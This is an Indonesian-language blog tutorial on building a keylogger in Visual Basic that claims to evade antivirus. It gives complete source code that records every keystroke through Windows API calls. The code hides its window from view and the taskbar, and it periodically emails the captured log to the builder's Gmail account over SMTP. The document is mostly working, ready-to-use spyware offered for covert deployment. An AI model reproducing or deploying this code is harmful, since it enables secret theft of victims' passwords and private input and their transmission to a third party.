Tutorial Cara membuat Keylogger Sendiri! [Undetected oleh AV manapun!]

Selamat pagi/siang/sore/malam/subuh agan
.
kali ini ane bakal ngebagiin tutorial cara bikin keylogger sendiri, gak kedetec oleh antivirus manapun di dunia!

Bahan-Bahannya :
- komputer + aksesorisnya!
- Visual Basic 2005/2008/2010 (kalo yang dibawah VB 2005 itu gak bisa source codenya)
- kemampuan di bidang programming
- segelas kopi
- cemilan..

Nah itu bahan-bahannya. sekarang tutorialnyaaa....

Step 1:
Open VB 2005/2008/2010

Step 2:
Buka project baru

Sekarang kita tambahkan tiga buah timer sama 1 buah Textbox.

sekarang ayo kita ganti settingan timernya. kita ganti intervalnya.

Timer1, 10
Timer2, 1500000
Timer3, 1

sekarang kita ganti settingan Textbox1 sama Form1.

untuk settingan TextBox1:
1. Set Read only jadi True
2. Set Multi line jadi True
3. Set MaxLength jadi 2147483647 (Max Value)

untuk Form1, settingannya :
1. Set Opacity ke 0%
2. Set show in taskbar ke False

sekarang masukin kodee! sruput dulu kopinya amaa makan dikit camilannya.
'start code
Timer1.Start()
Timer2.Start()
Timer3.Start()
'end code
biasa, buat jalanin timernya.

sekarang tambah kode ini sebelum "Public Class Form1"

'Start Code
Imports System.Net.Mail
'End Code

ini supaya hasil lognya bisa dikirim ke email.


sekarang masukin kode ini sesudah
"Public Class Form1" tapi sebelum
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

'start code
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
'stoooppp

susah njelasinnya. yang penting masukin

sekarang kita masukin kode agar shift atau capslocknya kedetec.
'codeeee
Public Function GetCapslock() As Boolean
' buat set capslock biar nyala / mati

GetCapslock = CBool(GetKeyState(&H14) And 1)

End Function

Public Function GetShift() As Boolean

' set toggle capslocknya

GetShift = CBool(GetAsyncKeyState(&H10))

End Function

sekarang kode buat timer1 , dobel klik timer 1 lalu masukin kode ini :

Code:

'start code
For i As Integer = 1 To 225
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                If GetCapslock() = True And GetShift() = True Then
                    Select Case (i)
                        Case 192
                            TextBox1.Text = TextBox1.Text + "~"
                        Case 1
                            'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
                        Case 64 To 90
                            TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                        Case 97 To 122
                            TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                        Case 32
                            TextBox1.Text = TextBox1.Text + " "
                        Case 48
                            TextBox1.Text = TextBox1.Text + ")"
                        Case 49
                            TextBox1.Text = TextBox1.Text + "!"
                        Case 50
                            TextBox1.Text = TextBox1.Text + "@"
                        Case 51
                            TextBox1.Text = TextBox1.Text + "#"
                        Case 52
                            TextBox1.Text = TextBox1.Text + "$"
                        Case 53
                            TextBox1.Text = TextBox1.Text + "%"
                        Case 54
                            TextBox1.Text = TextBox1.Text + "^"
                        Case 55
                            TextBox1.Text = TextBox1.Text + "&"
                        Case 56
                            TextBox1.Text = TextBox1.Text + "*"
                        Case 57
                            TextBox1.Text = TextBox1.Text + "("
                        Case 8
                            TextBox1.Text = TextBox1.Text + "[BackSpace]"
                        Case 46
                            TextBox1.Text = TextBox1.Text + "[Del]"
                        Case 190
                            TextBox1.Text = TextBox1.Text + ">"
                        Case 16
                        Case 160 To 165
                        Case 17
                            TextBox1.Text = TextBox1.Text + "[Ctrl]"
                        Case 18
                            TextBox1.Text = TextBox1.Text + "[Alt]"
                        Case 189
                            TextBox1.Text = TextBox1.Text + "_"
                        Case 187
                            TextBox1.Text = TextBox1.Text + "+"
                        Case 219
                            TextBox1.Text = TextBox1.Text + "{"
                        Case 221
                            TextBox1.Text = TextBox1.Text + "}"
                        Case 186
                            TextBox1.Text = TextBox1.Text + ":"
                        Case 222
                            TextBox1.Text = TextBox1.Text + """"
                        Case 188
                            TextBox1.Text = TextBox1.Text + "<"
                        Case 191
                            TextBox1.Text = TextBox1.Text + "?"
                        Case 220
                            TextBox1.Text = TextBox1.Text + "|"
                        Case 13
                            TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
                        Case 20
                        Case 91 'windows key
                        Case 9
                            TextBox1.Text = TextBox1.Text + " [Tab]"
                        Case 2
                            TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
                        Case 37 To 40
                        Case Else
                            TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
                    End Select
                End If
                If GetCapslock() = True And GetShift() = False Then
                    Select Case (i)
                        Case 91 'windows key
                        Case 1
                            'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
                        Case 64 To 90
                            TextBox1.Text = TextBox1.Text + Chr(i)
                        Case 97 To 122
                            TextBox1.Text = TextBox1.Text + Chr(i)
                        Case 32
                            TextBox1.Text = TextBox1.Text + " "
                        Case 48 To 57
                            TextBox1.Text = TextBox1.Text + Chr(i)
                        Case 8
                            TextBox1.Text = TextBox1.Text + "[BackSpace]"
                        Case 46
                            TextBox1.Text = TextBox1.Text + "[Del]"
                        Case 190
                            TextBox1.Text = TextBox1.Text + "."
                        Case 16
                        Case 160 To 165
                        Case 20
                        Case 192
                            TextBox1.Text = TextBox1.Text + "`"
                        Case 189
                            TextBox1.Text = TextBox1.Text + "-"
                        Case 187
                            TextBox1.Text = TextBox1.Text + "="

                        Case 219
                            TextBox1.Text = TextBox1.Text + "["
                        Case 221
                            TextBox1.Text = TextBox1.Text + "]"
                        Case 186
                            TextBox1.Text = TextBox1.Text + ";"
                        Case 222
                            TextBox1.Text = TextBox1.Text + "'"
                        Case 188
                            TextBox1.Text = TextBox1.Text + ","
                        Case 191
                            TextBox1.Text = TextBox1.Text + "/"
                        Case 220
                            TextBox1.Text = TextBox1.Text + "\"
                        Case 17
                            TextBox1.Text = TextBox1.Text + "[Ctrl]"
                        Case 18
                            TextBox1.Text = TextBox1.Text + "[Alt]"
                        Case 13
                            TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
                        Case 9
                            TextBox1.Text = TextBox1.Text + " [Tab]"
                        Case 2
                            TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
                        Case 37 To 40
                        Case Else
                            TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
                    End Select
                End If
                If GetCapslock() = False And GetShift() = True Then
                    Select Case (i)
                        Case 91 'windows key
                        Case 192
                            TextBox1.Text = TextBox1.Text + "~"
                        Case 1
                            ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
                        Case 64 To 90
                            TextBox1.Text = TextBox1.Text + Chr(i)
                        Case 97 To 122
                            TextBox1.Text = TextBox1.Text + Chr(i)
                        Case 32
                            TextBox1.Text = TextBox1.Text + " "
                        Case 48
                            TextBox1.Text = TextBox1.Text + ")"
                        Case 49
                            TextBox1.Text = TextBox1.Text + "!"
                        Case 50
                            TextBox1.Text = TextBox1.Text + "@"
                        Case 51
                            TextBox1.Text = TextBox1.Text + "#"
                        Case 52
                            TextBox1.Text = TextBox1.Text + "$"
                        Case 53
                            TextBox1.Text = TextBox1.Text + "%"
                        Case 54
                            TextBox1.Text = TextBox1.Text + "^"
                        Case 55
                            TextBox1.Text = TextBox1.Text + "&"
                        Case 56
                            TextBox1.Text = TextBox1.Text + "*"
                        Case 57
                            TextBox1.Text = TextBox1.Text + "("
                        Case 8
                            TextBox1.Text = TextBox1.Text + "[BackSpace]"
                        Case 46
                            TextBox1.Text = TextBox1.Text + "[Del]"
                        Case 190
                            TextBox1.Text = TextBox1.Text + ">"
                        Case 16
                        Case 160 To 165
                        Case 17
                            TextBox1.Text = TextBox1.Text + "[Ctrl]"
                        Case 18
                            TextBox1.Text = TextBox1.Text + "[Alt]"
                        Case 189
                            TextBox1.Text = TextBox1.Text + "_"
                        Case 187
                            TextBox1.Text = TextBox1.Text + "+"
                        Case 219
                            TextBox1.Text = TextBox1.Text + "{"
                        Case 221
                            TextBox1.Text = TextBox1.Text + "}"
                        Case 186
                            TextBox1.Text = TextBox1.Text + ":"
                        Case 222
                            TextBox1.Text = TextBox1.Text + """"
                        Case 188
                            TextBox1.Text = TextBox1.Text + "<"
                        Case 191
                            TextBox1.Text = TextBox1.Text + "?"
                        Case 220
                            TextBox1.Text = TextBox1.Text + "|"
                        Case 13
                            TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
                        Case 9
                            TextBox1.Text = TextBox1.Text + " [Tab]"
                        Case 20
                        Case 2
                            TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
                        Case 37 To 40
                        Case Else
                            TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
                    End Select
                End If
                If GetCapslock() = False And GetShift() = False Then
                    Select Case (i)
                        Case 1
                            ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
                        Case 64 To 90
                            TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                        Case 97 To 122
                            TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                        Case 32
                            TextBox1.Text = TextBox1.Text + " "
                        Case 48 To 57
                            TextBox1.Text = TextBox1.Text + Chr(i)
                        Case 8
                            TextBox1.Text = TextBox1.Text + "[BackSpace]"
                        Case 46
                            TextBox1.Text = TextBox1.Text + "[Del]"
                        Case 190
                            TextBox1.Text = TextBox1.Text + "."
                        Case 16
                        Case 160 To 165
                        Case 20
                        Case 192
                            TextBox1.Text = TextBox1.Text + "`"
                        Case 189
                            TextBox1.Text = TextBox1.Text + "-"
                        Case 187
                            TextBox1.Text = TextBox1.Text + "="
                        Case 91 'windows key
                        Case 219
                            TextBox1.Text = TextBox1.Text + "["
                        Case 221
                            TextBox1.Text = TextBox1.Text + "]"
                        Case 186
                            TextBox1.Text = TextBox1.Text + ";"
                        Case 222
                            TextBox1.Text = TextBox1.Text + "'"
                        Case 188
                            TextBox1.Text = TextBox1.Text + ","
                        Case 191
                            TextBox1.Text = TextBox1.Text + "/"
                        Case 220
                            TextBox1.Text = TextBox1.Text + "\"
                        Case 17
                            TextBox1.Text = TextBox1.Text + "[Ctrl]"
                        Case 18
                            TextBox1.Text = TextBox1.Text + "[Alt]"
                        Case 13
                            TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
                        Case 9
                            TextBox1.Text = TextBox1.Text + " [Tab]"
                        Case 2
                            TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
                        Case 37 To 40

                        Case Else
                            TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
                    End Select
                End If

            End If
        Next i
'end code

Sekarang kode buat bisa ngirim ke email kita. inget, kita harus pake gmail dan email yang dibawah (your_email_address) diganti jadi email kamu, dan passwordnya juga.

'start code
Sub MainEvents()

Try
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("Your_Email_Address@gmail.com")
MyMailMessage.To.Add("Your_Email_Address@gmail.com")
MyMailMessage.Subject = "Test"
MyMailMessage.Body = TextBox1.Text
Dim SMPT As New SmtpClient("smtp.gmail.com")
SMPT.Port = 587
SMPT.EnableSsl = True
SMPT.Credentials = New System.Net.NetworkCredential("Your_Email_Address@gmail.com", "Your_Email_Password")
SMPT.Send(MyMailMessage)
TextBox1.Text = ""
Catch ex As Exception
End Try
End Sub
'end code

hampir selesai! sruput lagi kopinya
kode untuk timer2 ,

'start code
If TextBox1.Text <> "" Then
MainEvents()
End If
'end code
dobel klik timer2 lalu paste.

fungsi timer itu untuk manggil fungsi buat kirim ke email.
kode buat timer3 ,

'start code
Me.Visible = False
Me.Hide()
'end code

dobel klik timer3 terus paste codenya.

Selesai dah! sruput lagi noh kopinya

demikian caranya!
kalo butuh bantuan, ke fb ane aja om, http://www.facebook.com/adriangery

kalo buutuh source code fullnya, bisa liat disini :
http://www.ziddu.com/download/18821001/V...e.txt.html

sekian. cape ngetik nih, Ijo-ijonya gak nolak. hehe.

Share This:

Post Tags:

Software+Trick

Jillur Rahman

I'm Jillur Rahman. A full time web designer. I enjoy to make modern template. I love create blogger template and write about web design, blogger. Now I'm working with Themeforest. You can buy our templates from Themeforest.

Website: http://masala-portfolio-jr.blogspot.com/

• Social Links:

• Rss
• Facebook
• Twitter
• Google+
• Linkedin
• Youtube